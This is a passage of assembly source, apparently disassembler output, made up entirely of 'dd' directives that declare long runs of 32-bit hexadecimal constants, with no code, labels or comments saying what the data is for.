		dd 0D0DDED30h, 0EBC3EDA9h, 0FBC9EBB5h, 0D738CDD7h, 0ABB60D6h
		dd 0D9A7CEh, 95446F70h,	81CBB8A2h, 0B92A4035h, 9DB797E9h
		dd 0F46B9429h, 3D90D7CCh, 819C2952h, 157AAC79h,	0F64CFB74h
		dd 4DCB0DF8h, 3F6A1ED5h, 0DEA5D646h, 0DAD3F94Bh, 8F323420h
		dd 1B4B64F2h, 9B6FF3C6h, 0D2DB76FCh, 1339954Eh,	8768C25Dh
		dd 73FA42F8h, 3569EE96h, 0E587260Ch, 422748h, 37CE57A1h
		dd 68F6DED3h, 0B240FF14h, 0D75E86AFh, 0AD8AEDC2h, 937F7ACEh
		dd 0DA2BDAFAh, 6A7ECD99h, 51077D0Ch, 0C5E6BDA6h, 0FA6CEA5Bh
		dd 0D459189Dh, 841EA709h, 0AC6EBB5Eh, 1416285Dh, 0F70ED885h
		dd 0E48C4168h, 607B52FCh, 0B96BBD07h, 0D7889F97h, 0D044E5D5h
		dd 0A687B754h, 0FF9273Ah, 952A626Fh, 0F0E32633h, 5305A9BDh
		dd 0AA07BBACh, 438489ABh, 26896F95h, 24703733h,	2DBABA53h
		dd 8EDA8E0Eh, 0DCDAC1B3h, 6796E5D8h, 47075FE0h,	4001E597h
		dd 0CA461B05h, 0A8738A9Dh, 0D02C67E6h, 0B314ABE5h, 619FCC1h
		dd 15B435CAh, 0C6026F21h, 0E8884EC8h, 32EA9D7Ah, 9BDD9C20h
		dd 92A0F9DAh, 0AA22DA89h, 1F1D1E7Eh, 0FA161972h, 85DEAF75h
		dd 5EDE0193h, 4690C85Fh, 0AB7F1974h, 6E234DF5h,	867E3F1Dh
		dd 0F0E5CC6Bh, 0ACDAA7B9h, 4CC8CE7h, 87A3146h, 0C3A639CDh
		dd 445B8395h, 41EFB51Eh, 971098D8h, 0F3984681h,	0BA10C0Ah
		dd 904704C8h, 1342E4C9h, 526297E2h, 0BC95F11Ah,	50196ABAh
		dd 1A699101h, 0BEC38727h, 85C3DF04h, 11E3471Bh,	19C2C62Eh
		dd 0B09517E9h, 227472EBh
		dd 4B29605Ah, 59F9C9F9h, 0A8AF1FC6h, 0AAF0E57Fh, 5BCB0466h
		dd 4E8DFD04h, 0CD680491h, 853BB021h, 4B684747h,	592A90F5h
		dd 0C5A28432h, 0FC86DAA2h, 89295D5Ch, 0CC81A384h, 0D11D58C2h
		dd 62639D21h, 0CACD9007h, 1C25FD66h, 35E51B28h,	0CF9AE66h
		dd 0EB59F6B5h, 5C94B7BDh, 2AAD9EDFh, 8245E91Dh,	3C9F828Eh
		dd 1B7642DDh, 0B0F68F68h, 0DD5D17EAh, 2E4E98EFh, 1D63807Bh
		dd 124E3688h, 1DBCF8AEh, 0FC7FFF11h, 60B877F7h,	13A2E86Dh
		dd 0FE1FC6F8h, 0AEF28568h, 0F01BC2AAh, 0B0AF4BB7h, 5FC6495h
		dd 6F223012h, 5FACC864h, 0BD8B6AC4h, 8FEFC250h,	822B92D7h
		dd 0D066149Eh, 7B2AEF60h, 6F0A2F68h, 5EBCEF0Fh,	6761F5C0h
		dd 5521AEF2h, 0A7C392E7h, 8918CA85h, 9DB777FFh,	0CBB30CB9h
		dd 7E265CA7h, 124E4FD4h, 9EEFC852h, 0E3C979C8h,	0EF9064DAh
		dd 0CB39A2CEh, 82A80A62h, 0C1F5F8BFh, 41E5B2ADh, 74DA0C44h
		dd 38F8C58Bh, 7A493803h, 4C8E4DD8h, 2A272551h, 57D3059Ah
		dd 0C3FCAD15h, 39FA5343h, 0B67E5C36h, 7AFFC34Bh, 839A3DC1h
		dd 9C42E5F9h, 99D368E9h, 9897A773h, 42750853h, 19011D2Ch
		dd 0A8FC2654h, 192BC575h, 0A78F9589h, 1C1C3CB8h, 301000DDh
		dd 0D2032Fh, 1E920B7Fh,	555ED1B2h, 55B21622h, 252FE97Fh
		dd 0BA7961BBh, 4DC7EE2Fh, 8EE4D26h, 8F07B8ADh, 0F181EFE9h
		dd 5FAABBF4h, 27A16A82h, 0EA200434h, 7936609Ah,	3A0F2CFEh
		dd 0A7BC0A21h, 9538CD49h, 8AA14748h, 7482E2D1h,	4F002F99h
		dd 82C42992h, 9F6FCEE8h, 576DBD9h, 0F2EC6D2Ch, 0CDB4A517h
		dd 88A8CE45h, 0E8432D49h, 0D1AD76B1h, 0BD9C70BBh, 77AC2BD4h
		dd 7B441701h, 0C62EAAEEh, 894F7ACBh, 0E3ADB90Fh, 0F9196Eh
		dd 0ED09BD34h, 734C3ECDh, 7AF9A3E3h, 258472F9h,	33AF379Ah
		dd 85850AF7h, 0C53336FBh, 7099E202h, 4C0E1F2h, 6588903Eh
		dd 0E48C77FCh, 14229473h, 0C08B4881h, 5E4C31E9h, 0E18AF271h
		dd 192E2940h, 372653CFh, 3EBEB3CAh, 0A88CF83Ah,	8E531975h
		dd 0A52E7349h, 3C464820h, 4F817BD7h, 0DAC8352Bh, 0EE8013F1h
		dd 0EE5D3EC1h, 0B6DDA0D7h, 34A54F74h, 55825F84h, 0E231C38h
		dd 472C95A9h, 923B6D5Bh, 6891E26Ch, 1A5BF76h, 2FCBCFDEh
		dd 4C0A243Dh, 98E1B279h, 195767CDh, 0BF3F4A5Dh,	0EFA653E6h
		dd 70A0A09Fh, 0EA635CB9h, 2621E102h, 0EF874991h, 0AA520E9h
		dd 0BAA42BFBh, 1B6918FCh, 0FC289FBAh, 465B9D09h, 467A81D3h
		dd 279D7C67h, 4CAA357Eh, 1AD74ECDh, 0EA6964B3h,	0B0B63F57h
		dd 0AF5109ADh, 0AE12E286h, 39AE60E6h, 1782AB1Bh, 6ADF3730h
		dd 17A2218h, 49239EF2h,	82D0D2DAh, 0D3C6F568h, 46490F42h
		dd 0EC589692h, 6FFF4AD7h, 35C65DB8h, 278BFC63h,	0C3F70479h
		dd 33D8848Eh, 902EF7BFh, 0F42D34FFh, 2049D2FFh,	0E5E98B40h
		dd 812E0184h, 129535B8h, 2CC02BEFh, 0B03847D8h,	0C64DCCDAh
		dd 0F6A97D99h, 994258F8h, 8EC092A5h, 4FDEF062h,	3E2B3E92h
		dd 0B18FFE13h, 62B9AF2Fh, 0A4AC0BB4h, 0E1E468D6h, 0BC449A31h
		dd 7EE0A62h, 60BBCE27h,	1724ABE1h, 0F28D151Ch, 0DBBB9779h
		dd 7191DFDh, 49BFA66Ch,	0E9CA3425h, 496BCCDDh, 59D8D2D8h
		dd 9DB1B697h, 0E89A69C1h, 99ED2140h, 1D50E8C4h,	0D2FF6DEEh
		dd 6147F959h, 48252D66h, 0ECA83E0Ch, 38E4F7Ch, 0C0C8A240h
		dd 36B193EAh, 6BBAC1E6h, 0CBB1D78Ah, 0ABAD6EBEh, 0A62D546Fh
		dd 6D14D901h, 0F09778Fh, 0D4B19236h, 80164A38h,	2AD42804h
		dd 8665806Fh, 4D6C8411h, 0FDFE55C5h, 99639FA6h,	0D6C305E5h
		dd 970B5890h, 6FEB512Dh, 0CE795809h, 0CDDBB45Ch, 8815952Fh
		dd 4DAF427h, 4F081FBDh,	389BC6FAh, 0A4A7A767h, 8AFCC1D9h
		dd 155242DDh, 0D454F2CBh, 0DE82431Dh, 9BF50747h, 75600D3Dh
		dd 6FC76B52h, 7055E81Dh, 8F420D98h, 0BCC0580Eh,	739B574Dh
		dd 49E4F696h, 0F4D3928Bh, 0C2B87F78h, 86830BF8h, 5DD508D4h
		dd 0E8E94956h, 0AF68EEE7h, 5D12E58h, 0B688BB9Ch, 0EEB4B4E6h
		dd 0BAAF431Ah, 321C0479h, 0C86F8298h, 0ABC25FFEh, 0F184EBFBh
		dd 382F26C6h, 2952002h,	9956AA2Fh, 0CEF60190h, 0BB182051h
		dd 7F2B7933h, 95A772Dh,	0D9D64305h, 7B51751Ah, 50CD0CB0h
		dd 0A29A410Dh, 0F01AB71Dh, 38FC5854h, 8DEE84DEh, 8B3929DDh
		dd 800CB5E5h, 6B953153h, 2303CF79h, 0F3455C3Bh,	6D1238C4h
		dd 29908826h, 0BC16E943h, 0FB016618h, 0CEDAD6C4h, 64B9225Ah
		dd 0BC6D34C8h, 74446CA3h, 0C39847BCh, 16F3F3F3h, 6BFA3466h
		dd 0FB2F3C33h, 768E6E90h, 96019D3Dh, 5F7ED29Dh,	4CEBDDAEh
		dd 175FC014h, 64F9B221h, 3204BE82h, 0E2DD6334h,	0E0C6094Fh
		dd 0D268155Ch, 4EC64CD9h, 6556F681h, 0F9D3B96Bh, 7B0F52E1h
		dd 3BEBD59Eh, 828AB121h, 274D5216h, 0A7969CA5h,	0B82ADBE3h
		dd 9A9A496Ah, 43F7E485h, 16B79469h, 0F2020F33h,	50D17FC3h
		dd 3E31E543h, 0F8D10791h, 4379084Bh, 75190AFFh,	3AE9364h
		dd 3E9DD048h, 0CC379A87h, 0C5B2C207h, 0B8545AD4h, 221ED494h
		dd 41381445h, 542CF5DCh, 467E89EEh, 5C449E20h, 37E59FD9h
		dd 8E65A488h, 45348763h, 0DA5AE906h, 8FBBD7E1h,	5B903A6h
		dd 0C1BE425Bh, 0C9CE36DAh, 9C3F876Fh, 6452B89Eh, 0B0999D70h
		dd 1BECB00Eh, 0D5CCEEC8h, 0C5830D8Dh, 0A2187F13h, 1FFA6236h
		dd 40DD9C33h, 0AF11C4BBh, 0BA209560h, 0E8C6A48Dh, 0ABCA8599h
		dd 1B81B118h, 1B15A734h, 3A56AA92h, 0E30F12F9h,	0CDAC7A3Ch
		dd 756E0568h, 0BD5AC4E0h, 5A4C0A4Bh, 77FA8E7Ah,	0BADCC3E8h
		dd 0CDAAF74Ah, 0D698F07Eh, 299A42A2h, 27CD6294h, 1A5D8B9Eh
		dd 0F38BC2EDh, 72E3291Dh, 3207A825h, 8FFF40BAh,	0AEBBC739h
		dd 6B665C6Bh, 1747D7CFh, 4BA3B7CBh, 21D0D002h, 715C71B9h
		dd 83A3D204h, 372C5CA4h, 0C31B8434h, 0C7FCE3CDh, 90F8C96Ch
		dd 0DBCF6FACh, 19335D0Bh, 33BE27E9h, 14FF9B44h,	1E235930h
		dd 3BF62550h, 1576A436h, 0D1AAAAC8h, 1DA5831Dh,	3620033h
		dd 0B6627CF4h, 0BCC29FD3h, 47F92C6h, 0FA91A307h, 3B23526Ch
		dd 0B3914B15h, 7FD8D9D8h, 87CBFD02h, 0A656C18Fh, 95FDF99Dh
		dd 0C2A892B0h, 5DDA5B8Bh, 0FA6BF41h, 65980794h,	0E0D9E231h
		dd 42621DF7h, 9A19C78Fh, 6FF36BB8h, 49B99567h, 0BB145FCh
		dd 8C7C650Bh, 7E0731Dh,	0CD4BBB4Fh, 4A40697Bh, 37789738h
		dd 256A8AA8h, 958E5BB2h, 53E21E07h, 6599054Ah, 0CCAEBAC2h
		dd 387D2591h, 85EF074Dh, 373C78CEh, 35810BDCh, 867B64FCh
		dd 0CA59D8F0h, 5E0A8956h, 7254546Bh, 2DC701CEh,	44040B21h
		dd 999484A9h, 0E604126h, 0BBAF02D5h, 0B67A87BBh, 8B39115Ah
		dd 4ED03C2h, 66B12159h,	0B441EA66h, 42532E2Ch, 9BBA2692h
		dd 9007E9DBh, 83999EEEh, 0EDFE8EE7h, 0E7963637h, 5E29EF59h
		dd 0DE0AC334h, 0A8D1D1A8h, 40965752h, 0D55708C1h, 6076AD16h
		dd 90D6C8Ch, 0C3E56D23h, 0B4B4D3B3h, 2C70918Bh,	728FFB04h
		dd 0FED163Eh, 755251C9h, 61B8873Bh, 801A2E45h, 0B46FC5CBh
		dd 0CA6AC11Ch, 0B9CB5AA6h, 362991BDh, 0A7EC741h, 44C6AE18h
		dd 0A09C2B1Eh, 0CA39F52Bh, 0ABD8ADB0h, 7AD6C231h, 0D83A96C3h
		dd 16C007B7h, 0AB3DCBEAh, 0D1A7EEC2h, 24927D25h, 7DC8604Eh
		dd 533D647h, 1C08EBF1h,	2B435A26h, 0E4FEC8Bh, 551D8E59h
		dd 7FE27Eh, 0AF73BC54h,	6FC6EE78h, 285F1E1Bh, 3A21567Eh
		dd 94EC09C1h, 2026A02Ch, 89AC4D80h, 2B08471Ah, 76545D74h
		dd 1A88613Fh, 0A0235CEh
		dd 4674B5BBh, 0F61C30DCh, 0B4A18D1Eh, 0F77CC79Ch, 0CCA66A9Fh
		dd 5BBDB4CCh, 0E0E17F67h, 10C531AAh, 97F3D8Ch, 0E6F35E00h
		dd 7BC2FDEFh, 543745C2h, 1A742D7Ch, 984A935h, 0A6B7D040h
		dd 7AB239E3h, 0E776AEA7h, 8E50A0E5h, 0F7F08D9h,	2B2C0B4Bh
		dd 41DF6A54h, 90CB55h, 7269907Fh, 0D037437Bh, 0E71B6585h
		dd 0B86DA565h, 8AC4B8F1h, 138A476Bh, 0F383F89Ch, 0E777C27Bh
		dd 3B12E507h, 4FDC778Ch, 7F6712E0h, 222C32F6h, 48104914h
		dd 0B86A7E35h, 5F42B330h, 71426AB2h, 9DE68342h,	92A1FD4Eh
		dd 684C6BB4h, 7479EBA7h, 3D9C4AE7h, 0F4AA7359h,	0A86812D1h
		dd 33D2298h, 30274AE5h,	96B6442Dh, 6542E735h, 45939136h
		dd 0B2FF02BBh, 0E13EEB99h, 62C59A4Bh, 76EE0AA2h, 0DF71A99Fh
		dd 3E53A91Ah, 21F6DE37h, 97D5D254h, 53754F8Ch, 9286409Bh
		dd 0B722557Ch, 94983B6Eh, 4F714CC3h, 0EEF8A65Dh, 0B127920Eh
		dd 8859122Dh, 581BE332h, 7C4E1E51h, 1F63F4FEh, 96C7AD92h
		dd 24A329EAh, 0C3C179D0h, 5F8650A5h, 6D7988Bh, 0E19121FFh
		dd 6FB9B87Eh, 6BD323CFh, 0E4C6DCD8h, 4BB15599h,	0F5CD0559h
		dd 47FBC54Bh, 7EA0C4E8h, 157070B2h, 56B3E9D4h, 0B61BCF05h
		dd 2D5EC892h, 0B97AA88Eh, 0D15DE70Bh, 5F260DF2h, 84D6EF9Eh
		dd 50CA5F40h, 4A6DE1ADh, 426125B8h, 48EDB996h, 0D98C1EB8h
		dd 2A8DCCA1h, 0BDF948Ch, 6F97231Dh, 0FB3955BEh,	0FBAF78A5h
		dd 0DA574F75h, 5A95E91Ch, 8E492600h, 758245F2h,	914F7BD5h
		dd 34483CFCh, 6461CEDDh, 7D506617h, 0A8AE9FA8h,	10E26070h
		dd 1DAA75EAh, 6EF6038Bh, 2D9841DFh, 59CAA172h, 0EA3FE107h
		dd 85FB31C1h, 0A033663Dh, 42B6CC9Ah, 6BC99D98h,	0E26E5C40h
		dd 0E81929B5h, 784DA8A4h, 3388F509h, 7AFA5361h,	2367CFB0h
		dd 0C7F6D58h, 1905825Fh, 4EF4C214h, 302807B2h, 5D5320h
		dd 0A183ABB6h, 2C7B7520h, 15E42989h, 39734CE4h,	0CC422C55h
		dd 0A7D2BBCAh, 5BF955DCh, 5E778A1h, 0AC88919Dh,	7769B933h
		dd 0D7A0D721h, 0B49DB50Fh, 138E1D0Eh, 1314D603h, 15D5B9C9h
		dd 5A2EF388h, 7CD54549h, 0FEB25E43h, 0A616346Ah, 0D3D1C1E4h
		dd 0BBA4FD82h, 22617DBFh, 13FC5709h, 0F2A9C05Fh, 4E26ADFDh
		dd 0EA14F06Ch, 8973578Dh, 0DC8C5A1Dh, 49A4AD00h, 76478689h
		dd 0E2E815D0h, 0D2439240h, 0EC25F6DDh, 0ED4AA53Ah, 0FC67548Eh
		dd 0E25E268Eh, 0C1E6CED2h, 284594D0h, 0DCFA7815h, 82016C38h
		dd 5A206F91h, 0A620E3B6h, 0B1636880h, 5EC078D4h, 1DB7F224h
		dd 21165D81h, 9D91544Dh, 1BA722F7h, 40C0A139h, 1FA9782Fh
		dd 7B4E7631h, 584AD8EEh, 44441CB0h, 22924254h, 0BFF62347h
		dd 0D0B9063Eh, 0F9A68001h, 0CDF9005Fh, 0B193313Eh, 0BDB1BA75h
		dd 5F5762A4h, 4DA63303h, 0BAB8AD88h, 56C4B903h,	6D354B8Eh
		dd 71426B56h, 913C4271h, 0ED1121F0h, 0D978048Bh, 757B012Bh
		dd 47D70397h, 0E842D129h, 0BD7DAE72h, 0BAC142EEh, 0A442F517h
		dd 6CB95FA1h, 158CFAF6h, 491438FAh, 2F2AD159h, 0DB4824C7h
		dd 8B5A5AF5h, 0AB4366FBh, 87AD7D02h, 2A6D5C8Eh,	3C4DDA15h
		dd 0D46F0355h, 0BD886EF6h, 18DCBF8Ah, 46E52289h, 37B4D709h
		dd 420EF19Eh, 0B1CE5117h, 0B0ECEA9h, 0A78410D9h, 49C787CCh
		dd 9CF39B78h, 0C28A4262h, 997AD755h, 5314F638h,	95E34E47h
		dd 0B9657394h, 426A5E08h, 5889EC1h, 0BB1B1BC8h,	6CC6D2h
		dd 4515BAA2h, 29200747h, 0B1EA2A3Ah, 93E8D8F1h,	1F54B0C6h
		dd 349595E8h, 0F75F4AACh, 7E6FCE2Fh, 5DDDDA55h,	78D87F66h
		dd 61E535E7h, 84FD8C5h,	16CD3F5Ah, 0C208A4A6h, 73A8F92Eh
		dd 6D435665h, 8C473506h, 0CCB6DDD9h, 0CC7F49A4h, 0F0E6720Fh
		dd 0D6CD362Ch, 269623A5h, 0E9AAEBC5h, 0B4DF8C2Ch, 0CB79373Bh
		dd 8DB15AFAh, 0B6A08162h, 0ABDB880Eh, 0C6DDFC4Eh, 0D79AFF9h
		dd 0EFD591C5h, 0AA86B422h, 47A02E95h, 0F61E225Ah, 0FE8DB8DEh
		dd 4DC6FE3Dh, 4D6C76DBh, 99EF1990h, 568A921Ah, 8AD201D2h
		dd 0B810173Ah, 0CF4C782Ch, 0F690D781h, 0F39E0BFBh, 0B83C9513h
		dd 1A39DBD0h, 367407A8h, 0F0618BF1h, 2F780D1h, 1D2B546Ch
		dd 4705C805h, 0C42CE516h, 418295E9h, 162BB1EDh,	48F8CBEBh
		dd 0A44B9773h, 0B4C21508h, 3C0A3BCh, 79F21F49h,	83CAA96Dh
		dd 892B93E6h, 725495CDh, 0CDC9DC62h, 47A9FDA8h,	5FD8F603h
		dd 9CB2B07Eh, 0E71310BEh, 0EBF82192h, 0F3A90513h, 0A74CD4BBh
		dd 765FDD54h, 0D8992DA0h, 83E95CF6h, 5A5D10A1h,	1646EEFCh
		dd 0D2DC8C9Bh, 0C07842Dh, 6418895h, 79A8B1DBh, 19D9201Ah
		dd 0C89E07E1h, 57B54CBAh, 0C1466BB8h, 4E6C5681h, 4151B84Ch
		dd 3C9879C3h, 497E5976h, 50B8E2EBh, 4C8F9911h, 20D3B524h
		dd 0B4C80976h, 5F310F27h, 8F35FC58h, 0DE8A68A5h, 77DDAD43h
		dd 7A446470h, 147C48CDh, 0E1D6D1Dh, 0A88F13F8h,	6F8295DAh
		dd 0E43929Ah, 32C28A57h, 32ACBC03h, 0E5CFADD2h,	5B8326F5h
		dd 0A4C69CDCh, 22F37894h, 40C181A8h, 8FF663B0h,	70CAC1DEh
		dd 64175C0Ch, 0D68419BEh, 0A43EA737h, 0B329B13Fh, 94CBDA45h
		dd 3800D77Fh, 79BD0C03h, 8411681Fh, 72FA1F58h, 0CEAF53DBh
		dd 178DC4B2h, 19560E04h, 577B2CC0h, 76E6896Fh, 0B469EB63h
		dd 0CEF6824Fh, 0EBFA43FBh, 0D79AC4E4h, 7B9E92BCh, 9B282E11h
		dd 92D98964h, 6661973Dh, 0F4784995h, 0E233F13h,	0F59406A1h
		dd 0D4E69417h, 5A277F27h, 6F7D88D3h, 9E9FFAEBh,	59DC1E85h
		dd 0FD982923h, 79C4EB42h, 0EF2D83B1h, 8356C030h, 4792A8Bh
		dd 64120CFAh, 0BE447DABh, 0A7952298h, 2F592A1Ch, 931B76B2h
		dd 1B96BC95h, 74AC30F1h, 0ABDBB55Ch, 3C9C296Ch,	0BB0CD9C1h
		dd 73954503h, 2C4383FFh, 89EF5E8Ch, 3DC92640h, 83BAD8A1h
		dd 6CB9D249h, 177CD8AEh, 0DC0983BFh, 0A6C1365Bh, 0E5FACB1h
		dd 10521E50h, 0BD7C7120h, 46E659F3h, 61640FE4h,	0E305A81Ch
		dd 0CE9B9DBEh, 0B7B8868h, 0CB437C3h, 64C3384Dh,	0C57A2CC4h
		dd 1ADB927Eh, 62D83B2Ah, 0A537EE5Ah, 3C887506h,	1733E349h
		dd 0A41939B4h, 47358F65h, 0F5D38685h, 154F15DEh, 409706D6h
		dd 0C7904D52h, 0D2E8BDFAh, 0C647506Dh, 0C8D0E982h, 2F8CC3F0h
		dd 7CE6FAC1h, 4DE68009h, 0CFFC0BC4h, 186A586Bh,	0E192D8DFh
		dd 7870554Ah, 0B2B49C0Ch, 0BF9B2625h, 4045750Bh, 9E20A6DFh
		dd 0BBFB0B4Eh, 62415292h, 0FAFB6582h, 5595596h,	41D0CD28h
		dd 794F945Eh, 36702971h, 0F704C43Ah, 8C1279A9h,	312A5020h
		dd 0B7D26A9Ch, 0DFE7B47h, 0AE7402F3h, 0B208DFBDh, 73BCCB98h
		dd 0F4D88E99h, 8987F6B6h, 3B4BB2A0h, 0D647B28Ah, 0FA4E6204h
		dd 139608D2h, 90562A9Bh, 7A7C722Dh, 2C74C60h, 3ABECCB8h
		dd 556A8C2h, 9CA74127h,	0F655A8Fh, 31E737B4h, 0ECB07DB1h
		dd 914AD2CEh, 0E100CEACh, 0F2265BC8h, 32EB155Fh, 0A6F3B318h
		dd 304BF1CCh, 6FCE86C1h, 1A9C9657h, 0B14C6496h,	1BEF779Bh
		dd 3E8B47E3h, 51A1DFB2h, 6B98F940h, 7B3AF65h, 3773FA31h
		dd 0DF975524h, 45964701h, 28946B3Dh, 905B1C99h,	0E33ED19h
		dd 986FF382h, 0FAE54700h, 0E8816CB5h, 0F64F0853h, 7E2EA061h
		dd 199997B7h, 2491FF6Ch, 0A55448DBh, 1C07B03Fh,	9642551Bh
		dd 6F7FA754h, 824F6F36h, 35BC4585h, 83F3015Bh, 8ACE75Ch
		dd 600DDEE8h, 6AADD9A9h, 0A6CAB535h, 0C8E7C656h, 0A7A66FD4h
		dd 4F25D1D6h, 3E3F9A73h, 4B0E1857h, 962CDE2Ah, 8425B88h
		dd 7B430C60h, 143A3699h
		dd 0DD5C56E0h, 0E9B2D097h, 0C93E3E35h, 0E6E61AB7h, 5C5443Dh
		dd 2A518F44h, 9A5D78DBh, 0C3D611BCh, 0FA23291Ah, 0DD4FA23Ah
		dd 0EF99B333h, 14F0AA40h, 0C21CBC85h, 2B02B2E3h, 989919D5h
		dd 0B907D6AEh, 0DF32888Dh, 0DAE11F52h, 19D40495h, 85F409C3h
		dd 0AE6B5C86h, 40DCC406h, 6B19A3A9h, 0ED187FACh, 76CAAE5Dh
		dd 0AA17E867h, 43C9156Ch, 0A53658F6h, 8F39DB2Eh, 0EDC03C9Bh
		dd 1D9AE55Bh, 2691A809h, 0D9BEF4D7h, 0C32650E2h, 0D66BF4F0h
		dd 6AA98D61h, 324AD2F1h, 859DFDFAh, 0AC78E48Eh,	69F8F625h
		dd 35A22A62h, 9C09A152h, 0A1317B6Ah, 0D2388E16h, 0EBCEFE32h
		dd 8CC4FC00h, 0A7E10EA7h, 0FE8E6DD5h, 0E0C0EA27h, 0D57AD1Dh
		dd 0ADE13D75h, 0FAC8C2E4h, 0BD086F00h, 119F5626h, 8F20542h
		dd 31649F2Ch, 0CFCD9B4Bh, 0C83E2E80h, 616B4C54h, 9C3AF1DEh
		dd 65FF000h, 0A0719518h, 4723A360h, 2A97A62Ah, 0E8409A85h
		dd 618F9485h, 0E56FFF82h, 661D3041h, 0E896EB72h, 42EFC2AAh
		dd 0A933D9E8h, 3A6FD898h, 73198D5Fh, 1A1B983Dh,	43889DBDh
		dd 0BBB23BEDh, 4F4B70A7h, 0B07D1537h, 5F80C621h, 9CFA54A8h
		dd 944F7952h, 74A34617h, 14E8D701h, 0BCA256D1h,	0D94E142Eh
		dd 0B2C24B8Dh, 72FEB10Ch, 64FF19F0h, 6A1A302h, 540B7D8Ch
		dd 9D649D40h, 3D9972DDh, 8E902A9h, 999E6AC3h, 85BAAF65h
		dd 963C1B51h, 0B1D1A394h, 3F2C1E1Ah, 0F9741903h, 7284892Bh
		dd 42B33A69h, 9C6A314Fh, 3E4CD665h, 0B6B479A9h,	78918E90h
		dd 0E31EBE75h, 0B8C8B1DEh, 0EB4C6B17h, 816159CEh, 0F2B3EEB8h
		dd 0F13D61B5h, 0FAC9ED72h, 0C6F10C84h, 0E115375h, 812F021Ch
		dd 3E7DA695h, 5D52FA90h, 0C6F37E53h, 0CED28255h, 23F4A3EEh
		dd 64DFBD88h, 0F7CB9E90h, 56D46170h, 0A9CABB10h, 422C5753h
		dd 0D40D177Ch, 519719A3h, 4AE7570Ch, 0D2A5C491h, 0AB46D38h
		dd 6678BA71h, 457C63B0h, 0D72ABBDDh, 22132A90h,	49339A66h
		dd 1A9FBC23h, 0D76239FAh, 7AD782C3h, 895DF628h,	59208245h
		dd 7FB98ED2h, 3004EC3Bh, 0ED937ABDh, 0EC62299Ah, 0A1A6BF3Eh
		dd 8B3CE17Dh, 710C37D9h, 0FC78298Bh, 3BB7B8E1h,	0AE4334F2h
		dd 333C9D17h, 0E925D62Bh, 2CE0D907h, 3B700E72h,	0F5A40CC1h
		dd 0D8D87515h, 0AC4F3579h, 0B5C0B233h, 6EF4B44Fh, 3D4429BBh
		dd 0A49C7AFEh, 56DBB4D5h, 0F57C6E3Ch, 0C29C0599h, 7C191423h
		dd 0BC49D5B2h, 521E26A5h, 444AD049h, 43D1A6FCh,	4ADFB111h
		dd 12CB881Fh, 0CDB2130Ch, 769373A5h, 52D84B57h,	85DA96A8h
		dd 1807FF1Eh, 63E593A5h, 2F547A97h, 0BF5476A5h,	803BEBEDh
		dd 45E7C1C2h, 96F8CE60h, 9EFF6339h, 408AC02Ch, 519D907Ch
		dd 8FFA1AA1h, 1E6BF0A4h, 0F5793A9Dh, 54C4BF30h,	1FE3C867h
		dd 0E0E467F0h, 0BB35CEE4h, 4C2C725h, 0C39C9F03h, 0C6BDD205h
		dd 5F7F465Ch, 0F3D4C158h, 0BCCC8755h, 9E919783h, 0B5AF2CCCh
		dd 1798470Dh, 26504D65h, 0B210398Bh, 0C9C7F055h, 0EC9D6675h
		dd 0E7D8487Eh, 88465766h, 1A80A235h, 8D80D786h,	0F63FB877h
		dd 623418C4h, 8EA8FF31h, 8A9500C5h, 11DD046h, 0B1E8D6F3h
		dd 5860F28Fh, 0D8F9A4F0h, 0D006872Fh, 4753326Fh, 63191BFDh
		dd 0CD92309Fh, 85E20440h, 75EE1327h, 39F95390h,	75E1C651h
		dd 7E23B926h, 0DEE3E287h, 48A47855h, 25D8CDC4h,	9D11C307h
		dd 5B6E2C23h, 71A4718Ah, 0FCE8C050h, 0EFFE7231h, 7AF7BEBFh
		dd 4DB2912Dh, 0C1C6F11Dh, 7A969F1Ch, 3C5E9DF8h,	9F902F67h
		dd 6568426Bh, 0D7575083h, 0A4988CADh, 0BC0A8EB9h, 0D591A2F5h
		dd 634113C1h, 0B8F389E7h, 0D7C2B82Ah, 0D7FBA3D1h, 9D756A74h
		dd 0C7832E41h, 0CF45F27Fh, 0FD14A5A1h, 4782E72Eh, 27589B5Ah
		dd 5BE170CEh, 0B5E83086h, 0BB3FC587h, 0CB9F32D1h, 0FE59EAFFh
		dd 23035799h, 7473AC49h, 0D13A886Dh, 52C2676Ch,	0F9B268B5h
		dd 92894AAFh, 32274DC0h, 0D6C151FAh, 1E375061h,	42A958B0h
		dd 8E9AC63Ah, 4DC3958Eh, 751A44B5h, 5A9A43A5h, 0C113881Ch
		dd 8F05B25Eh, 9D97CCFCh, 0A9F3A9C9h, 6CFDBD6Fh,	0E30B0544h
		dd 55EBCB3Eh, 2FAEFE8Bh, 0B956451h, 2D7051A2h, 7C3C9384h
		dd 7942116Bh, 253B26DDh, 50DFFA8Ah, 30BCE121h, 30DCDDACh
		dd 5BA163ECh, 941F5DBFh, 698F5D82h, 0A7DE8D94h,	30F5C098h
		dd 0C0FB172Bh, 958574B9h, 2AC10822h, 83DB9F10h,	50195765h
		dd 0F1825EAAh, 3BB61461h, 0A5E716E3h, 891EF2E4h, 2B9DFB66h
		dd 0CBA14A9Eh, 0FD212222h, 72DD4F2Ch, 97F3A23Ah, 9678BA0Fh
		dd 0C7ADB83Ah, 0DF181807h, 0BE607F97h, 67D999AAh, 29CDDD99h
		dd 23399631h, 0C1CF6EFCh, 0C598A634h, 0B757478Bh, 1FA3BC07h
		dd 31ADC621h, 6BF00B5Dh, 6D3F30D8h, 0E56C1F8Dh,	3EA948E0h
		dd 1A83D63Fh, 4996AA1Ah, 0B59F7635h, 93C623Bh, 59F7BED5h
		dd 0A4B7B36h, 528A1757h, 0E575CF17h, 6B378D6h, 81519BB0h
		dd 0EA28AAh, 0BABA088Dh, 2FB3F2C9h, 0F2D07ECBh,	4000B97Bh
		dd 0ADE12969h, 0A198A00Fh, 1B6DE43h, 82108466h,	138F0CF1h
		dd 3EC917BFh, 0C9A8CFB2h, 0FBC12873h, 0EA625312h, 0FFCA4537h
		dd 4BED02ABh, 7F68B38Ch, 0ED30796h, 0E3A27933h,	0CA335835h
		dd 51146096h, 0B73862F9h, 14834C51h, 57AC6C71h,	770ED0B9h
		dd 0FE5437E1h, 0B8E71DBCh, 1FE987E8h, 0D5446C65h, 0ED745CE5h
		dd 0B0E55FDEh, 5E956FF9h, 9F11761h, 227B7D81h, 0E669BC98h
		dd 1C045C5Dh, 7FF514E2h, 89867494h, 4FD15DCCh, 98C8E5D8h
		dd 5F138233h, 0C15FECDAh, 42BAC47Dh, 0B40E52F2h, 6F756241h
		dd 2C06B19Ch, 0DCF2102Dh, 811AAC10h, 0BA654DADh, 9D7A782Ah
